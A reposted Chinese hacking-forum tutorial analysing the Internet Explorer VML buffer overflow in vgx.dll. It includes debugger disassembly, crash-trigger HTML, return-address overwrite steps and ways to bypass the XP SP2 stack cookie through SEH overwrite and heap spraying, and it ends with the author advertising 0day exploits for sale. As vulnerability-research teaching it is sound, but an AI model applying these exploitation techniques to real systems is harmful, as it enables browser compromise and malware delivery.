放飞你的梦想--翱翔我的天空 | 会员登陆 | 繁體中文 | 站点地图 | 站长博客
 | 网站首页 | 文章中心 | IT 前沿 | 清怡画风 | 视频教程 | 资源下载 | 精彩图库 | 博客文赏 | 天空论坛 | 访客留言 | 音乐版 | 
    本站全新推出IT 前沿频道欢迎大家访问 地址 http://it.tkbbs.com  [风雪残士  2005年12月9日]            本站推出新浪VIVI收藏夹服务,欢迎使用  [风雪残士  2005年10月18日]        
您现在的位置: 翱翔翼站 >> 文章中心 >> 网络世界 >> 黑客攻防 >> 文章正文 今天是:
IEVML溢出分析过程和COOKIE保护的绕过(教学) 【字体:
作 者:佚名 文章来源:网络 更新:2006-10-4 22:25:49 点击:







注意:本文首发于邪恶八进制(http://forum.eviloctal.com)和网络技术论坛http://bbs.nettf.net),转载请保留完整信息。

一.写在前面的话

本文是在无敌和病毒两人的强烈的求知欲要求下,我今天翘课半天来写.
其实我也是觉得既然什么都已经公开了,也没意义再保留下去,遂写出此文,以慰看官.
另外本人也是菜鸟,偶获一点心得,愿意和我一样的菜鸟们分享,高手就当指导的看吧.
所以我不并吝啬自己的技术.在此我在此引用冰狐签名上的一句话告诉某些人:"别拿技术当宝贝."
ps:本文所有注释是对下面一条代码的注释.
ps:当然本篇不是溢出基础教程,需要一点点的汇编基础和溢出的基础.另外本文所说的也不是什么新鲜的技术,写出来是作为教程给初学者看的.
ps:文章写的很初级,如果有错的地方,还请高手指正.

二.漏洞分析

我准备把从头开始分析的过程完整的写下来,所以文章可能很臭很长,但是对初学者很有帮助.
vml的这个漏洞,是没有检测缓冲区长度的一个漏洞,应该是偶然间用超过260字符的buff替代了method名字,IE报错,然后分析下去得出的利用办法.所以我们也用这种方式来探测漏洞.

先用264(这个值在发掘漏洞的时候可以自己递增)个'A'填充vml页面的method名字.

<v:fill method="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"/>

我们用调试器加载ie,这里我用的是ollydbg(以下简称od).开启这个页面,马上报警"不知该如何回避地址00410041,请更改eip重新执行",看来很明显,有返回地址被覆盖.
在栈信息里也可以看到如下,此时esp的值为69450,69444,69448这两个地址原来的值是多少我们不知道.应该是被覆盖的返回地址.

0006943C   00410041 iexplore.00410041
00069440   00410041 iexplore.00410041
00069444   00410041 iexplore.00410041
00069448   00410041 iexplore.00410041

接着可以看到堆栈下面有:

00069454   0009B00C UNICODE "AAAAAAAAAAA..."
00069458   00000000
0006945C   00000000
00069460   659B8C10 返回到 659B8C10 来自 659B3260

看来溢出是发生在659b3260这个函数的调用函数上,在659b3260这个地址下硬件执行断点,用od查看内存发现这个地址就是在vgx.dll中,看来是基本上没错了.
再次启动od,加载ie,访问这个页面,很快就断在这里.(其实如果你汇编比较牛逼,可以直接看代码分析,我是不行,所以用od的储蓄每一步的执行结果,然后分析的)

下面开始枯燥的分析,希望不要睡着:

func_659b3260{

  659B3260   51         PUSH ECX
  659B3261   53         PUSH EBX
  659B3262   56         PUSH ESI
  659B3263   57         PUSH EDI
  659B3264   8BF1         MOV ESI,ECX
  659B3266   33FF         XOR EDI,EDI
  659B3268   8BDA         MOV EBX,EDX
  659B326A   3BF7         CMP ESI,EDI
  659B326C   0F84 D1000000   JE vgx.659B3343
  659B3272   66:393E       CMP WORD PTR DS:[ESI],DI
  659B3275   0F84 C8000000   JE vgx.659B3343
  659B327B   56         PUSH ESI
  //这个是获得字符串长度的函数,这里也就是返回'AAAA'在内存中的长度,单位为字,word,返回在eax中
  659B327C   E8 3F09F1FF   CALL vgx.658C3BC0
  //这里有个switch,不知道大家看出来没有,经常看汇编的人应该可以看出
  //这里顺便扯一句,switch在汇编中是先计算了值,之后统一采用jmp的方式跳到case这样比较快,所以说switch和if..else串连在本质上还是有区别的.有些老师喜欢误人子弟,比如我的老师..
  659B3281   83FB 07       CMP EBX,7
  659B3284   0F87 B2000000   JA vgx.659B333C
  659B328A   FF249D 4C339B65 JMP DWORD PTR DS:[EBX*4+659B334C]
  659B3291   50         PUSH EAX
  659B3292   56         PUSH ESI
  ...........(此处省略部分代码).....
  659B332C   C3         RETN
  //压入字符串长度
  659B332D   50         PUSH EAX
  //压入字符串地址
  659B332E   56         PUSH ESI
  //这里也是字符串地址吧
  659B332F   8D4C24 14     LEA ECX,DWORD PTR SS:[ESP+14]
  //看来刚才被00410041覆盖的返回地址应该是这里乐.下面重点分析这个函数
  659B3333   E8 0E480200   CALL vgx.659D7B46
  659B3338   8B7C24 0C     MOV EDI,DWORD PTR SS:[ESP+C]
  659B333C   8BC7         MOV EAX,EDI
  659B333E   5F         POP EDI
  659B333F   5E         POP ESI
  659B3340   5B         POP EBX
  659B3341   59         POP ECX
  659B3342   C3         RETN
}

func_659D7B46{

  659D7B46   55         PUSH EBP
  659D7B47   8BEC         MOV EBP,ESP
  //可以看到这里的栈框架是定死的,要是后面没有没有做长度检查,超过了210-8=208(10进制的520)个字符串的时候就会产生溢出
  //后面可以看到xp_sp2系统的这里是214,多了一个是做cookie执行保护的变量.
  659D7B49   81EC 10020000   SUB ESP,210
  659D7B4F   8B45 08       MOV EAX,DWORD PTR SS:[EBP+8]
  659D7B52   8321 00       AND DWORD PTR DS:[ECX],0
  659D7B55   85C0         TEST EAX,EAX
  659D7B57   894D FC       MOV DWORD PTR SS:[EBP-4],ECX
  659D7B5A   74 72       JE SHORT vgx.659D7BCE
  659D7B5C   8B4D 0C       MOV ECX,DWORD PTR SS:[EBP+C]
  659D7B5F   85C9         TEST ECX,ECX
  659D7B61   74 6B       JE SHORT vgx.659D7BCE
  659D7B63   66:8338 00     CMP WORD PTR DS:[EAX],0
  659D7B67   74 65       JE SHORT vgx.659D7BCE
  659D7B69   83A5 F8FDFFFF 0>AND DWORD PTR SS:[EBP-208],0
  //压入字符串地址
  659D7B70   56         PUSH ESI
  659D7B71   898D F4FDFFFF   MOV DWORD PTR SS:[EBP-20C],ECX
  //压入0,应该是保存返回值,记录已经赋值了多少个字符
  659D7B77   57         PUSH EDI
  659D7B78   8D8D F0FDFFFF   LEA ECX,DWORD PTR SS:[EBP-210]
  659D7B7E   8985 F0FDFFFF   MOV DWORD PTR SS:[EBP-210],EAX
  659D7B84   33FF         XOR EDI,EDI
  //这个就是那个溢出的函数了.有些参数是在寄存器中的,也就是用fastcall方式调用,
  //不过这里没有任何参数传递了210这个栈限值,这必然将导致溢出,看下面一段分析
  659D7B86   E8 5FFFFFFF   CALL vgx.659D7AEA
  659D7B8B   85C0         TEST EAX,EAX
  659D7B8D   74 34       JE SHORT vgx.659D7BC3
  659D7B8F   33D2         XOR EDX,EDX
  659D7B91   8BC8         MOV ECX,EAX
  659D7B93   E8 DE450000   CALL vgx.659DC176
  659D7B98   8BF0         MOV ESI,EAX
  659D7B9A   85F6         TEST ESI,ESI
  659D7B9C   7C 07       JL SHORT vgx.659D7BA5
  659D7B9E   83FE 02       CMP ESI,2
  659D7BA1   7F 1B       JG SHORT vgx.659D7BBE
  659D7BA3   0BFE         OR EDI,ESI
  659D7BA5   8D8D F0FDFFFF   LEA ECX,DWORD PTR SS:[EBP-210]
  659D7BAB   E8 3AFFFFFF   CALL vgx.659D7AEA
  659D7BB0   85C0         TEST EAX,EAX
  659D7BB2 ^ 75 DB       JNZ SHORT vgx.659D7B8F
  659D7BB4   83FE 02       CMP ESI,2
  659D7BB7   7F 05       JG SHORT vgx.659D7BBE
  659D7BB9   83FF 03       CMP EDI,3
  659D7BBC   75 05       JNZ SHORT vgx.659D7BC3
  659D7BBE   BF 03000040   MOV EDI,40000003
  659D7BC3   8B45 FC       MOV EAX,DWORD PTR SS:[EBP-4]
  659D7BC6   8938         MOV DWORD PTR DS:[EAX],EDI
  659D7BC8   5F         POP EDI
  659D7BC9   B0 01       MOV AL,1
  659D7BCB   5E         POP ESI
  659D7BCC   EB 02       JMP SHORT vgx.659D7BD0
  659D7BCE   32C0         XOR AL,AL
  659D7BD0   C9         LEAVE
  //溢出将在这里返回的时候被从覆盖的esp地址(shellcode地址)处取出执行,
  //特别要注意的是,这里返回后esp将+8,所以你的shellcode要放在离这个返回地址8个直接远的地方
  659D7BD1   C2 0800       RETN 8
}

func_659D7AEA{

  659D7AEA   8B11         MOV EDX,DWORD PTR DS:[ECX]
  659D7AEC   53         PUSH EBX
  659D7AED   56         PUSH ESI
  659D7AEE   33F6         XOR ESI,ESI
  659D7AF0   3BD6         CMP EDX,ESI
  659D7AF2   57         PUSH EDI
  659D7AF3   74 4A       JE SHORT vgx.659D7B3F
  659D7AF5   8B41 08       MOV EAX,DWORD PTR DS:[ECX+8]
  659D7AF8   3B41 04       CMP EAX,DWORD PTR DS:[ECX+4]
  659D7AFB   7D 42       JGE SHORT vgx.659D7B3F
  659D7AFD   66:393442     CMP WORD PTR DS:[EDX+EAX*2],SI
  659D7B01   74 3C       JE SHORT vgx.659D7B3F
  659D7B03   8D41 0C       LEA EAX,DWORD PTR DS:[ECX+C]
  659D7B06   8BF8         MOV EDI,EAX
  659D7B08   8B51 08       MOV EDX,DWORD PTR DS:[ECX+8]
  659D7B0B   8B19         MOV EBX,DWORD PTR DS:[ECX]
  659D7B0D   66:8B1453     MOV DX,WORD PTR DS:[EBX+EDX*2]
  659D7B11   66:85D2       TEST DX,DX
  659D7B14   74 1D       JE SHORT vgx.659D7B33
  659D7B16   66:83FA 20     CMP DX,20
  659D7B1A   75 06       JNZ SHORT vgx.659D7B22
  659D7B1C   85F6         TEST ESI,ESI
  659D7B1E   7F 17       JG SHORT vgx.659D7B37
  659D7B20   EB 06       JMP SHORT vgx.659D7B28
  //将'AAA..'串写入内存地址,这个地址是从func_659D7B46的栈框架基址-210+c开始的,也就是说这里距离func_659D7B46的返回指针有208+4=20c=524个字符.
  659D7B22   66:8917       MOV WORD PTR DS:[EDI],DX
  //这里递增'AAA'的地址参数
  659D7B25   46         INC ESI
  659D7B26   47         INC EDI
  659D7B27   47         INC EDI
  659D7B28   FF41 08       INC DWORD PTR DS:[ECX+8]
  //可以看到这里只是做了是否完成字符串拷贝的判断,没有做长度判断.
  659D7B2B   8B51 08       MOV EDX,DWORD PTR DS:[ECX+8]
  659D7B2E   3B51 04       CMP EDX,DWORD PTR DS:[ECX+4]
  659D7B31 ^ 7C D5       JL SHORT vgx.659D7B08
  659D7B33   85F6         TEST ESI,ESI
  659D7B35   7E 08       JLE SHORT vgx.659D7B3F
  659D7B37   66:836471 0C 00 AND WORD PTR DS:[ECX+ESI*2+C],0
  659D7B3D   EB 02       JMP SHORT vgx.659D7B41
  659D7B3F   33C0         XOR EAX,EAX
  659D7B41   5F         POP EDI
  659D7B42   5E         POP ESI
  659D7B43   5B         POP EBX
  659D7B44   C3         RETN
}

好了,有了这些数据,基本上可以写溢出了.

简单的说下步骤:首先用字符串填充260个字符,这将转化为unicode字符,会变长两倍,成为520,正好覆盖了所有的栈框架,接着用一个jmpesp的地址覆盖func_659D7B46的返回指针,接着用8个0x90(nop指令)填充retn 8的距离,然后填写你的shellcode代码,也可填写跳转到shellcode的代码.

画一个示意图,结合func_659D7AEA理解:

|---------|
|       |--   <=== ecx,也就是字符串地址
|---------| |
|524     | | <== 字符串长度
|---------| |
|520     | | <== 已经写入的长度
|---------| |------------------------整个栈框架是210(528)个字符
| ....   | |-
|---------| | |
| ....   | | | <=== 将要被写的数据
|---------| | |----------------------要覆盖520个字符才到达func_659D7B46的返回地址.
| ....   | | |
|---------| | |
|被修改   |-- - <=== ebp指针的地址
|---------|
|6ff15e2e |     <=== func_659D7B46的返回地址,最终我们要修改的是这里
|---------|  

参考我在附件提供的ievml_with_2000.c,也可以直接参考nop的那个代码,基本上是一样的.


三.xp_sp2的cookie保护.

windows2000下用本文上述的说法基本可以实现溢出,不过这种方法用在winxp+sp2下就不好用了,原因是vs.net提供一种/gs的执行保护编译模式,这个模式在release版本是默认开启的,目的就是防止被缓冲区溢出,所以我们的刚才2000下使用的通用溢出.是不能实现的了.

(这里顺便插两句,cookie保护这种执行保护是针对溢出攻击的众多保护方法之一,所以要针对每种方法采用相应的解决办法,没有一种办法是可以通用解决所有的溢出保护的)

看func_659D7B46这里:

func_659D7B46{

  6FF3ED46   8BFF         MOV EDI,EDI
  6FF3ED48   55         PUSH EBP
  6FF3ED49   8BEC         MOV EBP,ESP
  //看到这里多了4个字节的数据
  6FF3ED4B   81EC 14020000   SUB ESP,214
  //就是做这个用的了,地址6FF44160处存放的是全局变量,存放一个随机的值(准确来说是用几个函数的返回值作为参数计算出的值)
  6FF3ED51   A1 6041F46F   MOV EAX,DWORD PTR DS:[6FF44160]
  6FF3ED56   8321 00       AND DWORD PTR DS:[ECX],0
  6FF3ED59   8945 FC       MOV DWORD PTR SS:[EBP-4],EAX
  6FF3ED5C   8B45 08       MOV EAX,DWORD PTR SS:[EBP+8]
  6FF3ED5F   85C0         TEST EAX,EAX
  6FF3ED61   898D ECFDFFFF   MOV DWORD PTR SS:[EBP-214],ECX
  6FF3ED67   74 74       JE SHORT vgx.6FF3EDDD
  6FF3ED69   8B4D 0C       MOV ECX,DWORD PTR SS:[EBP+C]
  6FF3ED6C   85C9         TEST ECX,ECX
  6FF3ED6E   74 6D       JE SHORT vgx.6FF3EDDD
  6FF3ED70   66:8338 00     CMP WORD PTR DS:[EAX],0
  6FF3ED74   74 67       JE SHORT vgx.6FF3EDDD
  6FF3ED76   83A5 F8FDFFFF 0>AND DWORD PTR SS:[EBP-208],0
  6FF3ED7D   898D F4FDFFFF   MOV DWORD PTR SS:[EBP-20C],ECX
  6FF3ED83   53         PUSH EBX
  6FF3ED84   8D8D F0FDFFFF   LEA ECX,DWORD PTR SS:[EBP-210]
  6FF3ED8A   8985 F0FDFFFF   MOV DWORD PTR SS:[EBP-210],EAX
  6FF3ED90   33DB         XOR EBX,EBX
  6FF3ED92   E8 4FFFFFFF   CALL vgx.6FF3ECE6
  6FF3ED97   85C0         TEST EAX,EAX
  6FF3ED99   74 35       JE SHORT vgx.6FF3EDD0
  6FF3ED9B   56         PUSH ESI
  6FF3ED9C   6A 00       PUSH 0
  6FF3ED9E   50         PUSH EAX
  6FF3ED9F   E8 17280000   CALL vgx.6FF415BB
  6FF3EDA4   8BF0         MOV ESI,EAX
  6FF3EDA6   85F6         TEST ESI,ESI
  6FF3EDA8   7C 07       JL SHORT vgx.6FF3EDB1
  6FF3EDAA   83FE 02       CMP ESI,2
  6FF3EDAD   7F 1B       JG SHORT vgx.6FF3EDCA
  6FF3EDAF   0BDE         OR EBX,ESI
  6FF3EDB1   8D8D F0FDFFFF   LEA ECX,DWORD PTR SS:[EBP-210]
  6FF3EDB7   E8 2AFFFFFF   CALL vgx.6FF3ECE6
  6FF3EDBC   85C0         TEST EAX,EAX
  6FF3EDBE ^ 75 DC       JNZ SHORT vgx.6FF3ED9C
  6FF3EDC0   83FE 02       CMP ESI,2
  6FF3EDC3   7F 05       JG SHORT vgx.6FF3EDCA
  6FF3EDC5   83FB 03       CMP EBX,3
  6FF3EDC8   75 05       JNZ SHORT vgx.6FF3EDCF
  6FF3EDCA   BB 03000040   MOV EBX,40000003
  6FF3EDCF   5E         POP ESI
  6FF3EDD0   8B85 ECFDFFFF   MOV EAX,DWORD PTR SS:[EBP-214]
  6FF3EDD6   8918         MOV DWORD PTR DS:[EAX],EBX
  6FF3EDD8   B0 01       MOV AL,1
  6FF3EDDA   5B         POP EBX
  6FF3EDDB   EB 02       JMP SHORT vgx.6FF3EDDF
  6FF3EDDD   32C0         XOR AL,AL
  6FF3EDDF   8B4D FC       MOV ECX,DWORD PTR SS:[EBP-4]
  //这里多了一个函数..是什么呢?下面分析
  6FF3EDE2   E8 3829F9FF   CALL vgx.6FED171F
  6FF3EDE7   C9         LEAVE
  6FF3EDE8   C2 0800       RETN 8
}

其他的我就不分析了,基本上和2000下的那个代码是一样的.下面看这个执行保护的函数

func_6FED171F{

  //很明显可以看到这里对那个cookie值做了检测,如果被覆盖了,就马上转到出错流程,结束当前进程
  //这里的6FF44160指向的值和上面一样,就是存放那个cookie的值.
  6FED171F   3B0D 6041F46F   CMP ECX,DWORD PTR DS:[6FF44160]
  6FED1725   75 09       JNZ SHORT vgx.6FED1730
  6FED1727   F7C1 0000FFFF   TEST ECX,FFFF0000
  6FED172D   75 01       JNZ SHORT vgx.6FED1730
  6FED172F   C3         RETN
  6FED1730   E9 05000000   JMP vgx.6FED173A
  ......(此处省略了一些代码)....

  6FED180D   FF15 9C11E96F   CALL DWORD PTR DS:[<&KERNEL32.SetUnhandl>; kernel32.SetUnhandledExceptionFilter
  6FED1813   8D45 F8       LEA EAX,DWORD PTR SS:[EBP-8]
  6FED1816   50         PUSH EAX
  6FED1817   FF15 9811E96F   CALL DWORD PTR DS:[<&KERNEL32.UnhandledE>; kernel32.UnhandledExceptionFilter
  6FED181D   68 02050000   PUSH 502
  6FED1822   FF15 9411E96F   CALL DWORD PTR DS:[<&KERNEL32.GetCurrent>; kernel32.GetCurrentProcess
  6FED1828   50         PUSH EAX
  6FED1829   FF15 9011E96F   CALL DWORD PTR DS:[<&KERNEL32.TerminateP>; kernel32.TerminateProcess
}

这个cookie也就是一个存在于ebp之上的一个数值,你要覆盖函数的返回地址,肯定要经过覆盖这个值,肯定会改变这个值的,所以只要返回的时候检测一下这个值是否被修改,即可判断是否有溢出情况出现,示意图如下:

|---------|
|       |--   <=== ecx,也就是字符串地址
|---------| |
|524     | | <== 字符串长度
|---------| |
|520     | | <== 已经写入的长度
|---------| |------------------------整个栈框架是210(528)个字符
| ....   | |-
|---------| | |
| ....   | | | <=== 将要被写的数据
|---------| | |----------------------要覆盖520个字符才到达func_659D7B46的返回地址.
| ....   | | |
|---------| | |
|被修改   |-- - <== 这里是cookie的值,可以看出,你要修改ebp,要修改func_659D7B46的值,这个cookie的值也肯定要被修改.
|---------|
|被修改   |   <=== ebp指针的地址  
|---------|  
|6ff15e2e |     <=== func_659D7B46的返回地址
|---------|  

现在问题明确了,怎么绕过这个检测值呢?方法有很多.
比如可以覆盖这个cookie的值,不过需要代码中有代码会从被我们覆盖的内存区域取出数据做指针的情况.vgx中剩下的这些代码中没有这种代码.
再者因为这是个溢出,所以可以覆盖堆栈的任何地址,windows下异常处理机制也用到了栈,他们把异常处理的函数地址做成单链表保存在栈中,栈是我们可以覆盖的,我们可以用shellcode函数的地址来覆盖这个异常函数的地址,这样一来如果我们能使得程序出现异常,那么系统就会取出栈中异常函数的地址来处理异常,我们的shellcode也就可以执行了.

不过在认真的分析了溢出发生后和到达cookie检测之间的代码,发现没有任何一个可以产生异常的代码句,甚至连读取被我们覆盖区域的值的操作也没有.
不过好在还有另外一种办法.
xp下ie程序的栈地址是在00120000开始的地址到0012ffff结束,紧接着下一个段的地址是:00130000,用OD查看这个段的属性.

内存映射, 条目 4
地址=00130000
大小=00003000 (12288.)
属主=       00130000 (自身)
区段=
类型=Map 00041002
访问=R
初始访问=R

可以看到访问的权限是R,也就是只读.
那么好办了,我们可以利用已有的栈溢出可覆盖地址的特性,如果可以覆盖这个只读的地址,肯定会产生一个内存访问错误,也就是一个异常,这样一来,我们就达到了产生异常的目的.
这样我们就可以在溢出后让shellcode直接得到运行权限,让执行保护见鬼去吧.

具体的做法:

调试过程可以发现,到达溢出点的时候,ie的堆栈目前是:

0012BFD0   0012C204
0012BFD4   001EF644 UNICODE "AAAA...."
0012BFD8   00000108
0012BFDC   00000108
0012BFE0   00410041 iexplore.00410041
0012BFE4   00410041 iexplore.00410041

在0012bfe0的地方,这样我们要覆盖到00130000的地方需要 130000h - 12bfe0h = 4020h = 16414个字符,换成'AAAA...'来说明,就是我们要填充至少8000多个A才能覆盖到130000h的地址,好在这个溢出没有长度限制.8000多个就8000多个,为了保守,我们可以用10000个A来做测试.(有点-_-!!).

具体的文件我就不贴了,请参考

<v:fill method="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"/>

当然这里的A是10000个,然后在xp+sp2的下面,用ie访问这个页面.为了直观的观看到异常的处理过程,我们用od在堆栈的0012ffff处下硬件写入断点,字长.

可以看到当130000被写入的时候,程序跳转到了异常处理上执行,如果我们用正确的可执行的地址覆盖异常处理程序,异常将会调用如下代码:

7C923799   55         PUSH EBP
7C92379A   8BEC         MOV EBP,ESP
7C92379C   FF75 0C       PUSH DWORD PTR SS:[EBP+C]
7C92379F   52         PUSH EDX
7C9237A0   64:FF35 0000000>PUSH DWORD PTR FS:[0]
7C9237A7   64:8925 0000000>MOV DWORD PTR FS:[0],ESP
7C9237AE   FF75 14       PUSH DWORD PTR SS:[EBP+14]
7C9237B1   FF75 10       PUSH DWORD PTR SS:[EBP+10]
7C9237B4   FF75 0C       PUSH DWORD PTR SS:[EBP+C]
7C9237B7   FF75 08       PUSH DWORD PTR SS:[EBP+8]
//此处为异常处理地址,被我们的shellcode覆盖
7C9237BA   8B4D 18       MOV ECX,DWORD PTR SS:[EBP+18]
//调用我们的shellcode
7C9237BD   FFD1         CALL ECX

这样就取得了执行权限.

其实这样覆盖异常处理的成功率很低,可能一个系统版本的差别就导致了函数调用的差别,堆栈的差别,覆盖不到那个异常,所以有一种方法很早就有的方法适合于IE溢出(可能也仅适合IE溢出吧),因为ie溢出在溢出之前是可以申请堆内存的,这样我们可以用javascript来申请大量的堆内存,全部填充0x90字符接shellcode这样的模式,然后用随便一个已经申请了的堆内存的地址(shellcode的地址)来覆盖整个堆栈,这样无论这个异常处理在什么地址,我们都可以用正确的内存地址(shellcode地址)覆盖它.也就是milw0rm.com上那些sp2的代码.

不过这个办法也有缺陷,不同机器的堆申请地址不同,比如你用0a0a0a0a全部覆盖了栈,那么你没有申请到0a0a0a0a之前开始的堆地址,那么你的shellcode就得不到执行,昨天晚上病毒兄找我调试就是一个很好的例子.它的机器就没有从05050505开始申请堆地址,于是milw0rm.com上下载的那个代码就没办法用,我让他用0d替换了05即可执行了.看来我的人品比较好,病毒兄平时没少偷看MM洗澡..哈...

参考我在附件提供的ievml_with_xpsp2.c,也可以直接参考milw0rm.com的那个代码.

四.结束语

在前几天我和花哥,小金他们说道vml过sp2的那天晚上就调试出xp_sp2的版本,本来本想留着赚点外快,给他们清客的酒钱都定好了..不料这才几天,我还没找着买家,就已经被公开的一塌糊涂.唉..感叹到,不是自己的孩子就是不好使啊...其实说到这里是想给自己做个广告,本人长期有未公开的0day出售,不过呢,请托个熟人来向我购买,陌生人不认识的您就别来访问我了.什么才算是熟人,很简单啊,你问一个人和我的交情如何即可.好了,不说太多了.祝大家有个开心的中秋节.^_^~


文章录入:风雪残士    责任编辑:风雪残士 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    相关文章
    没有相关文章
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    最新文章 TOP10
    最新热门 TOP10
    最新推荐TOP10
    翱翔翼站拥有本站所有版权! Copyright © 2005 - 2008 5-IT.COM
    本站维护 :风雪残士

    浙ICP备05039908号
    努力打造国内最全的电脑技术资料库